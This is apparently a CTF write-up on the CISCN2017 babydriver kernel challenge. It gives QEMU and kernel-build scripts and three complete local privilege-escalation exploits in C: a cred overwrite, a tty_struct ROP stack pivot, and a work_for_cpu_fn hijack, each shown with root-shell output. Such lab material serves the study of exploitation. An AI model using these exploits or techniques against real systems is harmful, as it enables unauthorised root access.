PART I

unpack

1
2
loo@localhost:~/ctf/kernel/xiaozaiya/kernel-PWN/CISCN2017-babydriver/try$ file ./rootfs.cpio
./rootfs.cpio: ASCII cpio archive (SVR4 with no CRC)

md core && cd ./core && cpio -idv < ../rootfs.cpio

start.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/bash

qemu-system-x86_64 \
-initrd rootfs.cpio \
-kernel bzImage \
-cpu kvm64,+smep \
-append 'console=ttyS0 root=/dev/ram kpti=1 nokaslr oops=panic panic=1' \
-monitor /dev/null \
-enable-kvm \
-m 256M \
--nographic \
-smp cores=1,threads=1 \
-s

runnable

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/bash

qemu-system-x86_64 \
-initrd rootfs.cpio \
-kernel bzImage \
-cpu kvm64,+smep \
-append 'console=ttyS0 root=/dev/ram quiet kpti=1 nokaslr oops=panic panic=0' \
-monitor /dev/null \
-enable-kvm \
-m 512M \
--nographic \
-smp cores=1,threads=1 \
-s
  • quiet启动不输出初始化信息
    check
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/bin/bash
qemu-system-x86_64 \
-m 512M \
-cpu kvm64,+smep \
-smp cores=1,threads=1 \ #少一个
-kernel bzImage \
-initrd rootfs.cpio \
--nographic \
-monitor /dev/null \
# 没有snapshot
-append 'console=ttyS0 root=/dev/ram quiet kpti=1 nokaslr oops=panic panic=0' \ #多了一个root=/dev/ram
# 没有-no-reboot \
-enable-kvm \ # 多了一行这个
-s

init

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/bin/sh

mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console
#echo 2 > /proc/sys/kernel/kptr_restrict

insmod /lib/modules/4.4.72/babydriver.ko
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 0 sh

umount /proc
umount /sys
poweroff -d 0 -f

pack

1
2
3
4
5
6
cd ./core
gcc -g -o ./pwwn ./pwwn.c ~/pwnlib.c -I ~ -static -masm=intel
echo hhh
find . | cpio -ov -H newc > ../rootfs.cpio
cd ..
./run.sh

vmlinux

1
2
3
4
5
6
7
8
9
10
11
12
loo@localhost:~/ctf/kernel/xiaozaiya/kernel-PWN/CISCN2017-babydriver$ vmlinux-to-elf ./bzImage ./vmlinux
[+] Kernel successfully decompressed in-memory (the offsets that follow will be given relative to the decompre)
[+] Version string: Linux version 4.4.72 (atum@ubuntu) (gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.07
[+] Guessed architecture: x86_64 successfully in 2.18 seconds
[+] Found kallsyms_token_table at file offset 0x00eafe70
[+] Found kallsyms_token_index at file offset 0x00eb0210
[+] Found kallsyms_markers at file offset 0x00eaf318
[+] Found kallsyms_names at file offset 0x00d99480
[+] Found kallsyms_num_syms at file offset 0x00d99478
[i] Null addresses overall: 0.00215239 %
[+] Found kallsyms_addresses at file offset 0x00ce3cb8
[+] Successfully wrote the new ELF kernel to ./vmlinux

deepseek下载编译vmlinux脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#!/bin/bash

# 脚本功能:下载 Linux 4.4.72 源码并编译带调试符号的 bzImage
# 作者:Your Name
# 日期:$(date +%Y-%m-%d)

set -e # 任何步骤失败则退出

# 1. 安装依赖
echo "[1/6] 安装编译依赖..."
sudo apt-get update
sudo apt-get install -y \
git build-essential ncurses-dev xz-utils libssl-dev bc flex bison libelf-dev \
gcc make perl openssl libncurses5-dev zlib1g-dev

# 2. 下载内核源码(4.4.72)
echo "[2/6] 下载 Linux 4.4.72 源码..."
KERNEL_VERSION="4.4.72"
KERNEL_SOURCE="linux-${KERNEL_VERSION}.tar.xz"
KERNEL_URL="https://cdn.kernel.org/pub/linux/kernel/v4.x/${KERNEL_SOURCE}"

if [ ! -f "${KERNEL_SOURCE}" ]; then
wget "${KERNEL_URL}"
fi

if [ ! -d "linux-${KERNEL_VERSION}" ]; then
tar -xf "${KERNEL_SOURCE}"
fi

cd "linux-${KERNEL_VERSION}"

# 3. 配置内核(启用调试符号)
echo "[3/6] 配置内核..."
cat <<EOF > .config-fragment
CONFIG_DEBUG_INFO=y
CONFIG_DEBUG_INFO_DWARF4=y
CONFIG_GDB_SCRIPTS=y
CONFIG_KASLR=n
EOF

make defconfig
./scripts/kconfig/merge_config.sh .config .config-fragment

# 4. 编译内核
echo "[4/6] 编译内核(耗时较长,请耐心等待)..."
make -j$(nproc)

# 5. 验证生成的文件
echo "[5/6] 验证生成的 bzImage 和调试符号..."
if [ -f "arch/x86/boot/bzImage" ]; then
echo "bzImage 生成成功: $(realpath arch/x86/boot/bzImage)"
else
echo "错误:bzImage 未生成!"
exit 1
fi

if [ -f "vmlinux" ]; then
echo "调试符号已嵌入 vmlinux: $(realpath vmlinux)"
file vmlinux | grep "with debug_info"
else
echo "错误:vmlinux 未生成!"
exit 1
fi

# 6. 提示如何使用
echo "[6/6] 完成!"
echo "调试方法:"
echo "1. 启动 QEMU 调试:"
echo " qemu-system-x86_64 -kernel arch/x86/boot/bzImage -append \"nokaslr console=ttyS0\" -s -S -nographic"
echo "2. 在另一个终端中运行 GDB:"
echo " gdb vmlinux -ex \"target remote :1234\""

通用脚本get_vmlinux 4.4.72

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
#!/bin/bash

# 脚本功能:通过版本号下载并编译带调试符号的 Linux 内核(生成 vmlinux 和 bzImage)
# 用法:./get_vmlinux.sh <版本号> 示例:./get_vmlinux.sh 4.4.72

# 颜色定义
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[0;33m'
BLUE='\033[0;34m'
NC='\033[0m' # No Color

# 进度条函数
progress_bar() {
local duration=${1}
local width=50
local ratio=1
local percent=0
local step=$((100 / width))

printf "${BLUE}[INFO]${NC} Progress: ["
for ((i=0; i<=width; i++)); do
printf "#"
sleep $((duration / width))
done
printf "] 100%%\n"
}

set -e # 任何步骤失败则退出

# 检查参数
if [ "$#" -ne 1 ]; then
echo -e "${RED}[ERROR]${NC} 请指定内核版本号!"
echo -e "用法: $0 <版本号>"
echo -e "示例: $0 4.4.72"
exit 1
fi

KERNEL_VERSION="$1"
KERNEL_MAJOR=$(echo "$KERNEL_VERSION" | cut -d. -f1)
KERNEL_SOURCE="linux-${KERNEL_VERSION}.tar.xz"
KERNEL_URL="https://cdn.kernel.org/pub/linux/kernel/v${KERNEL_MAJOR}.x/${KERNEL_SOURCE}"
WORK_DIR="linux-${KERNEL_VERSION}-debug"

echo -e "${GREEN}[1/6] 安装编译依赖...${NC}"
sudo apt-get update > /dev/null
sudo apt-get install -y \
git build-essential ncurses-dev xz-utils libssl-dev bc flex bison libelf-dev \
gcc make perl openssl libncurses5-dev zlib1g-dev > /dev/null

mkdir -p "$WORK_DIR"
cd "$WORK_DIR"

echo -e "${GREEN}[2/6] 下载 Linux ${KERNEL_VERSION} 源码...${NC}"
if [ ! -f "${KERNEL_SOURCE}" ]; then
wget --show-progress -q "${KERNEL_URL}" &
pid=$!
progress_bar 3 # 模拟进度条(实际根据下载速度调整)
wait $pid
else
echo -e "${YELLOW}[WARN]${NC} 已找到源码包 ${KERNEL_SOURCE},跳过下载"
fi

if [ ! -d "linux-${KERNEL_VERSION}" ]; then
echo -e "${BLUE}[INFO]${NC} 解压源码包..."
tar -xf "${KERNEL_SOURCE}"
fi

cd "linux-${KERNEL_VERSION}"

echo -e "${GREEN}[3/6] 配置内核...${NC}"
cat <<EOF > .config-fragment
CONFIG_DEBUG_INFO=y
CONFIG_DEBUG_INFO_DWARF4=y
CONFIG_GDB_SCRIPTS=y
CONFIG_KASLR=n
EOF

make defconfig > /dev/null
./scripts/kconfig/merge_config.sh .config .config-fragment > /dev/null

echo -e "${GREEN}[4/6] 编译内核(耗时较长,请耐心等待)...${NC}"
{
make -j$(nproc) 2>&1 | while read line; do
echo -ne "${BLUE}[COMPILE]${NC} $line\r"
done
} | tee compile.log
echo # 换行

echo -e "${GREEN}[5/6] 验证生成的文件...${NC}"
if [ -f "arch/x86/boot/bzImage" ] && [ -f "vmlinux" ]; then
echo -e "${GREEN}[SUCCESS]${NC} 编译成功!"
echo -e "bzImage 路径: $(realpath arch/x86/boot/bzImage)"
echo -e "vmlinux 路径: $(realpath vmlinux)"
else
echo -e "${RED}[ERROR]${NC} 编译失败,请检查 compile.log"
exit 1
fi

echo -e "${GREEN}[6/6] 调试方法:${NC}"
echo -e "1. 启动 QEMU:"
echo -e " qemu-system-x86_64 -kernel $(realpath arch/x86/boot/bzImage) -append \"nokaslr console=ttyS0\" -s -S -nographic"
echo -e "2. 连接 GDB:"
echo -e " gdb $(realpath vmlinux) -ex \"target remote :1234\""

PART II

method I <–> struct cred

修改cred结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include "pwnlib.h"

int fd1,fd2;
void *buf;
int cmd = (int)0x10001;

void init_func(){
fd1 = open("/dev/babydev",O_RDWR);
fd2 = open("/dev/babydev",O_RDWR);
if (fd1 < 0|| fd2 < 0){error("can't open /dev/babydev");}
buf = (void*)mmap(NULL,0x100,7,MAP_ANONYMOUS | MAP_PRIVATE,-1,0);
memset(buf,'\x00',0x100);
}


void main(){
init_func();
ioctl(fd1,cmd,0xa8);
close(fd1);
if(!fork()){
write(fd2,buf,0x1c);
getshell();
}else{
waitpid(-1,NULL,0);
}
underline("end from main");
}

cred结构体,euid = 0
v6中的cred(❌)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
struct cred {
atomic_long_t usage;
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct ucounts *ucounts;
struct group_info *group_info; /* supplementary groups for euid/fsgid */
/* RCU deletion */
union {
int non_rcu; /* Can we skip RCU deletion? */
struct rcu_head rcu; /* RCU deletion hook */
};
} __randomize_layout;

typedef atomic64_t atomic_long_t;
typedef struct {
uid_t val;
} kuid_t;
typedef __kernel_uid32_t uid_t;

v4中的(❌)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
};
typedef struct {
int counter;
} atomic_t;

mothod II <–> struct tty_struct + 栈迁移

uaf配合tty_struct结构体leak和改写 + gadget栈迁移
dev/ptmx
pwwn.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
#include "pwnlib.h"

int fd1,fd2,fd_tty;
int cmd = (int)0x10001;
void *buf;
size_t fake_tty_op[0x30];
size_t off = 0x0;
size_t magic = 0xFFFFFFFF8181BFC5;
size_t pop_rsp_ret = 0xffffffff81171045;
size_t pop_rdi_ret = 0xffffffff810d238d;
size_t init_cred_ = 0xffffffff81e48c60;
size_t commit_creds_ = 0xffffffff810a1420;
size_t srrartu = 0x0;
size_t swapgs_ = 0xffffffff81063694;
size_t iretq_ = 0xffffffff814e35ef;
size_t mov_cr4_rdi = 0xffffffff81004d80;
size_t rop_chain[0x20];

void ioctl_func(int fd,size_t size){
ioctl(fd,cmd,size);
}

void init_func(){
save();
fd1 = open("/dev/babydev",O_RDWR);
fd2 = open("/dev/babydev",O_RDWR);
if(fd1<0||fd2<0){error("can't open /dev/babydev");}
buf = (void*)mmap(NULL,0x100,7,MAP_ANONYMOUS|MAP_PRIVATE,-1,0);
memset(buf,'\x00',0x100);
}

void add_off(){
magic += off;
pop_rsp_ret += off;
pop_rdi_ret += off;
init_cred_ += off;
commit_creds_ += off;
srrartu += off;
swapgs_ += off;
iretq_ += off;
}

void getshell_(int num){
if(getuid() != 0){
error("uid is not 0 !!!");
underline("Wating...");
sleep(5);
exit(0);
}
if(geteuid() != 0){
error("euid is %d",(int)geteuid());
}
success("welcome ROOT !!!");
//execve("/bin/sh",0,0);
char *argv[] = {"/bin/sh", NULL}; // 参数数组,结尾为NULL
char *envp[] = {NULL}; // 空环境变量数组,结尾为NULL
execve("/bin/sh", argv, envp);
exit(0);
}

void mainII(){
init_func();
ioctl_func(fd1,0x2e0);
close(fd1);
fd_tty = open("/dev/ptmx",O_RDWR);
if (fd_tty<0){error("can't open /dev/ptmx");}
read(fd2,buf,0x100);
off = ((size_t*)buf)[3] - 0xffffffff81a74f80;
underline("off is 0x%lx",off);
add_off();
int ii = 0;
fake_tty_op[ii++] = pop_rdi_ret;
fake_tty_op[ii++] = init_cred_;
fake_tty_op[ii++] = pop_rsp_ret;
fake_tty_op[ii++] = (size_t)rop_chain;
fake_tty_op[7] = magic;
int i = 0;
//rop_chain[i++] = mov_cr4_rdi;
//rop_chain[i++] = 0;
rop_chain[i++] = commit_creds_;
//rop_chain[i++] = (size_t)0x401a40;
rop_chain[i++] = swapgs_;
rop_chain[i++] = 0x0;
//rop_chain[i++] = 0;
rop_chain[i++] = iretq_;
size_t addr = (size_t)getshell;//0x401a40;
rop_chain[i++] = addr;
rop_chain[i++] = user_cs;
rop_chain[i++] = user_rflags;
rop_chain[i++] = user_sp;
rop_chain[i++] = user_ss;
((size_t*)buf)[3] = (size_t)fake_tty_op;
signal(SIGSEGV, getshell);
__asm__(
"sub rsp,0x8;"
);
write(fd2,buf,0x100);
write(fd_tty,buf,0x10);
underline("end from main");
}


void main(){
mainII();
}
1
2
3
4
5
/ $ ./pwwn
[=]have saved!
[*]off is 0xb000000
[+]welcome ROOT !!!
/ #

tty_struct结构体/dev/ptmx

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
struct tty_struct {
int magic; /* 0 4 */
struct kref kref; /* 4 4 */
struct device * dev; /* 8 8 */
struct tty_driver * driver; /* 16 8 */
const struct tty_operations * ops; /* 24 8 */
int index; /* 32 4 */

/* XXX 4 bytes hole, try to pack */

struct ld_semaphore ldisc_sem; /* 40 48 */
/* --- cacheline 1 boundary (64 bytes) was 24 bytes ago --- */
struct tty_ldisc * ldisc; /* 88 8 */
struct mutex atomic_write_lock; /* 96 40 */

/* XXX last struct has 4 bytes of padding */

/* --- cacheline 2 boundary (128 bytes) was 8 bytes ago --- */
struct mutex legacy_mutex; /* 136 40 */

/* XXX last struct has 4 bytes of padding */

struct mutex throttle_mutex; /* 176 40 */

/* XXX last struct has 4 bytes of padding */

/* --- cacheline 3 boundary (192 bytes) was 24 bytes ago --- */
struct rw_semaphore termios_rwsem; /* 216 40 */
/* --- cacheline 4 boundary (256 bytes) --- */
struct mutex winsize_mutex; /* 256 40 */

/* XXX last struct has 4 bytes of padding */

spinlock_t ctrl_lock; /* 296 4 */
spinlock_t flow_lock; /* 300 4 */
struct ktermios termios; /* 304 44 */
/* --- cacheline 5 boundary (320 bytes) was 28 bytes ago --- */
struct ktermios termios_locked; /* 348 44 */
/* --- cacheline 6 boundary (384 bytes) was 8 bytes ago --- */
struct termiox * termiox; /* 392 8 */
char name[64]; /* 400 64 */
/* --- cacheline 7 boundary (448 bytes) was 16 bytes ago --- */
struct pid * pgrp; /* 464 8 */
struct pid * session; /* 472 8 */
long unsigned int flags; /* 480 8 */
int count; /* 488 4 */
struct winsize winsize; /* 492 8 */

/* Bitfield combined with next fields */

long unsigned int stopped:1; /* 496:32 8 */
long unsigned int flow_stopped:1; /* 496:33 8 */

/* XXX 30 bits hole, try to pack */

/* Force alignment to the next boundary: */
long unsigned int :0;

long unsigned int unused:62; /* 504: 0 8 */

/* XXX 2 bits hole, try to pack */

/* --- cacheline 8 boundary (512 bytes) --- */
int hw_stopped; /* 512 4 */

/* Bitfield combined with previous fields */

long unsigned int ctrl_status:8; /* 512:32 8 */
long unsigned int packet:1; /* 512:40 8 */

/* XXX 23 bits hole, try to pack */

/* Force alignment to the next boundary: */
long unsigned int :0;

long unsigned int unused_ctrl:55; /* 520: 0 8 */

/* XXX 9 bits hole, try to pack */

unsigned int receive_room; /* 528 4 */
int flow_change; /* 532 4 */
struct tty_struct * link; /* 536 8 */
struct fasync_struct * fasync; /* 544 8 */
int alt_speed; /* 552 4 */

/* XXX 4 bytes hole, try to pack */

wait_queue_head_t write_wait; /* 560 24 */
/* --- cacheline 9 boundary (576 bytes) was 8 bytes ago --- */
wait_queue_head_t read_wait; /* 584 24 */
struct work_struct hangup_work; /* 608 32 */
/* --- cacheline 10 boundary (640 bytes) --- */
void * disc_data; /* 640 8 */
void * driver_data; /* 648 8 */
struct list_head tty_files; /* 656 16 */
int closing; /* 672 4 */

/* XXX 4 bytes hole, try to pack */

unsigned char * write_buf; /* 680 8 */
int write_cnt; /* 688 4 */

/* XXX 4 bytes hole, try to pack */

struct work_struct SAK_work; /* 696 32 */
/* --- cacheline 11 boundary (704 bytes) was 24 bytes ago --- */
struct tty_port * port; /* 728 8 */

/* size: 736, cachelines: 12, members: 47 */
/* sum members: 696, holes: 4, sum holes: 16 */
/* sum bitfield members: 128 bits, bit holes: 4, sum bit holes: 64 bits */
/* paddings: 4, sum paddings: 16 */
/* last cacheline: 32 bytes */
};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *, struct inode *, int); /* 0 8 */
int (*install)(struct tty_driver *, struct tty_struct *); /* 8 8 */
void (*remove)(struct tty_driver *, struct tty_struct *); /* 16 8 */
int (*open)(struct tty_struct *, struct file *); /* 24 8 */
void (*close)(struct tty_struct *, struct file *); /* 32 8 */
void (*shutdown)(struct tty_struct *); /* 40 8 */
void (*cleanup)(struct tty_struct *); /* 48 8 */
int (*write)(struct tty_struct *, const unsigned char *, int); /* 56 8 */
/* --- cacheline 1 boundary (64 bytes) --- */
int (*put_char)(struct tty_struct *, unsigned char); /* 64 8 */
void (*flush_chars)(struct tty_struct *); /* 72 8 */
int (*write_room)(struct tty_struct *); /* 80 8 */
int (*chars_in_buffer)(struct tty_struct *); /* 88 8 */
int (*ioctl)(struct tty_struct *, unsigned int, long unsigned int); /* 96 8 */
long int (*compat_ioctl)(struct tty_struct *, unsigned int, long unsigned int); /* 104 8 */
void (*set_termios)(struct tty_struct *, struct ktermios *); /* 112 8 */
void (*throttle)(struct tty_struct *); /* 120 8 */
/* --- cacheline 2 boundary (128 bytes) --- */
void (*unthrottle)(struct tty_struct *); /* 128 8 */
void (*stop)(struct tty_struct *); /* 136 8 */
void (*start)(struct tty_struct *); /* 144 8 */
void (*hangup)(struct tty_struct *); /* 152 8 */
int (*break_ctl)(struct tty_struct *, int); /* 160 8 */
void (*flush_buffer)(struct tty_struct *); /* 168 8 */
void (*set_ldisc)(struct tty_struct *); /* 176 8 */
void (*wait_until_sent)(struct tty_struct *, int); /* 184 8 */
/* --- cacheline 3 boundary (192 bytes) --- */
void (*send_xchar)(struct tty_struct *, char); /* 192 8 */
int (*tiocmget)(struct tty_struct *); /* 200 8 */
int (*tiocmset)(struct tty_struct *, unsigned int, unsigned int); /* 208 8 */
int (*resize)(struct tty_struct *, struct winsize *); /* 216 8 */
int (*set_termiox)(struct tty_struct *, struct termiox *); /* 224 8 */
int (*get_icount)(struct tty_struct *, struct serial_icounter_struct *); /* 232 8 */
const struct file_operations * proc_fops; /* 240 8 */

/* size: 248, cachelines: 4, members: 31 */
/* last cacheline: 56 bytes */
};
1
2
3
4
5
6
7
8
9
pwndbg> tele 0xffff88001f9f2400
00:0000│ rsi 0xffff88001f9f2400 ◂— 0x100005401
01:0008│ 0xffff88001f9f2408 ◂— 0
02:0010│ 0xffff88001f9f2410 —▸ 0xffff88001cfa7a80 ◂— 0x200005402
03:0018│ 0xffff88001f9f2418 —▸ 0xffffffff81a74f80 (pciidlist+2272) —▸ 0xffffffff814e2640 (intel_dsi_pre_pll_enable+2544) ◂— nop dword ptr [rax + rax]
04:0020│ 0xffff88001f9f2420 ◂— 0
... ↓ 2 skipped
07:0038│ 0xffff88001f9f2438 ◂— 0xffff88001f9f2438

mothod III <–> tty_struct + work_for_cpu_fn

tty_struct + work_for_cpu_fn
pwwn.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#include "pwnlib.h"

int fd1,fd2,tty_fd;
size_t tty_size = (size_t)0x2e0;
size_t off;
void *buf;
unsigned int cmd = 0x10001;
size_t init_cred_ = 0xffffffff81e48c60;
size_t commit_creds_ = 0xffffffff810a1420;
size_t work_for_cpu_fn = 0xffffffff81095fb0;
size_t *fake_tty_options,*fake_work_struct,*old_tty;

void init_func(){
fd1 = open("/dev/babydev",O_RDWR);
fd2 = open("/dev/babydev",O_RDWR);
if (fd1<0||fd2<0){error("can't open /dev/babydev");}
buf = (void *)mmap(NULL,0x1000,7,MAP_ANONYMOUS|MAP_PRIVATE,-1,0);
memset(buf,0x1000,'\x00');
((char*)buf)[0] = '\x11';
}

void ioctl_func(int fd,size_t size){
ioctl(fd,cmd,size);
}

void add_off(){
off = ((size_t*)buf)[3] - 0xffffffff81a74f80;
underline("off is 0x%lx",off);
init_cred_ += off;
commit_creds_ += off;
work_for_cpu_fn += off;
}

void set_fake_tty_options(){
fake_tty_options = (void*)mmap(NULL,0x1000,7,
MAP_ANONYMOUS|MAP_PRIVATE,-1,0);
fake_tty_options[0] = 0x111;
memset(fake_tty_options,0x1000,'\x00');
//fake_tty_options[7] = work_for_cpu_fn; // 0x7 is write
fake_tty_options[12] = work_for_cpu_fn; // 0xc is ioctl
}

void set_fake_work_struct(){
fake_work_struct = mmap(NULL,0x1000,7,
MAP_ANONYMOUS|MAP_PRIVATE,-1,0);
fake_work_struct[0] = 0x11;
memset(fake_work_struct,0x1000,'\x00');
fake_work_struct[0] = 0;
fake_work_struct[1] = (size_t)commit_creds_;
fake_work_struct[2] = (size_t)init_cred_;
}

void main(){
init_func();
ioctl_func(fd1,tty_size);
close(fd1);
tty_fd = open("/dev/ptmx",O_RDWR);
if (tty_fd < 0){error("can't open /dev/ptmx");}
read(fd2,(char*)buf,0x100);
old_tty = mmap(NULL,0x1000,7,MAP_ANONYMOUS|MAP_PRIVATE,-1,0);
old_tty[0] = 0x1;
memset(old_tty,0x100,'\x00');
memcpy(old_tty,buf,0x100);
add_off();
set_fake_tty_options();
set_fake_work_struct();
((size_t*)buf)[3] = (size_t)fake_tty_options;
((size_t*)buf)[5] = (size_t)init_cred_; // triger fn's rdi
((size_t*)buf)[4] = (size_t)commit_creds_; // triger fn's fn
write(fd2,buf,0x100);
//write(tty_fd,fake_work_struct,0x10); // triger fn (play no role)
ioctl(tty_fd,233,233); // ioctl(tty_fd,0,0);
//write(fd2,old_tty,0x100); // 恢复tty_struct
getshell();
underline("end from main");
}
1
2
3
/ $ ./pwwn
[*]off is 0x3000000
[+]welcome ROOT !!!

work_for_cpu_fn

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
static void work_for_cpu_fn(struct work_struct *work)
{
struct work_for_cpu *wfc = container_of(work, struct work_for_cpu, work);

wfc->ret = wfc->fn(wfc->arg);
}

#ifndef container_of
#define container_of(ptr, type, member) \
(type *)((char *)(ptr) - (char *) &((type *)0)->member)
#endif
// container_of通过结构体中的某个成员获得结构体的基地址
// 这个macro就很有问题,好吧没有问题

struct work_for_cpu {
struct work_struct work;
long (*fn)(void *); // fn <=> function
void *arg;
long ret;
};

struct work_for_cpu {
struct work_struct work; /* 0 32 */
long int (*fn)(void *); /* 32 8 */
void * arg; /* 40 8 */
long int ret; /* 48 8 */

/* size: 56, cachelines: 1, members: 4 */
/* last cacheline: 56 bytes */
};

  • 使用write来触发确实不行,会无限卡死在这里
  • 两个233参数貌似没必要,两个0也可以 可能是因为版本太低的原因
  • tty_struct虽然被破坏,但没有恢复的必要

gdb.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
target remote localhost:1234

add-symbol-file ./vmlinux
add-symbol-file ./core/pwwn
#add-symbol-file ./core/myexp/tty_struct
add-symbol-file ./core/babydriver.ko 0xffffffffc0000000

# copy_from_user
#b *0x119+0xffffffffc0000000
# copy_to_user
#b *0x15C+0xffffffffc0000000
#b babyread
# kfree in ioctl
#b *0x9c+0xffffffffc0000000
#b babyread
# magic
#b *0xFFFFFFFF8181BFC5
# swapgs_
#b *0xffffffff81063694
#pop rdi
#b *0xffffffff810d238d
# mov cr4,rdi
#b *0xffffffff81004d80
#b debug
#b *0xffffffff81063694
#b *0xffffffff810d238d
#b getshell
#b break *0xffffffff8105fd4d
# iretq
#b *0xffffffff814e35ef
#b mainII
#b main
b *0xffffffff81095fb0
c

PART III

Q(A)

1. Q&A

1
2
3
loo@localhost:~/ctf/kernel/xiaozaiya/kernel-PWN/CISCN2017-babydriver/try$ ./run.sh
Could not access KVM kernel module: Permission denied
qemu-system-x86_64: failed to initialize kvm: Permission denied

赋予权限sudo ./run.sh

sudo usermod -aG kvm $USER + 重启终端

2. Q&A

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
int __cdecl babydriver_init()
{
int v0; // edx
__int64 v1; // rsi
int v2; // ebx
class *v3; // rax
__int64 v4; // rax

if ( (int)alloc_chrdev_region(&babydev_no, 0LL, 1LL, "babydev") >= 0 )//创建babydev设备
{
cdev_init(&cdev_0, &fops);//初始化同时定义操作
//fops是定义的操作
v1 = babydev_no;
cdev_0.owner = &_this_module;
v2 = cdev_add(&cdev_0, babydev_no, 1LL);
if ( v2 >= 0 )
{
v3 = (class *)_class_create(&_this_module, "babydev", &babydev_no);
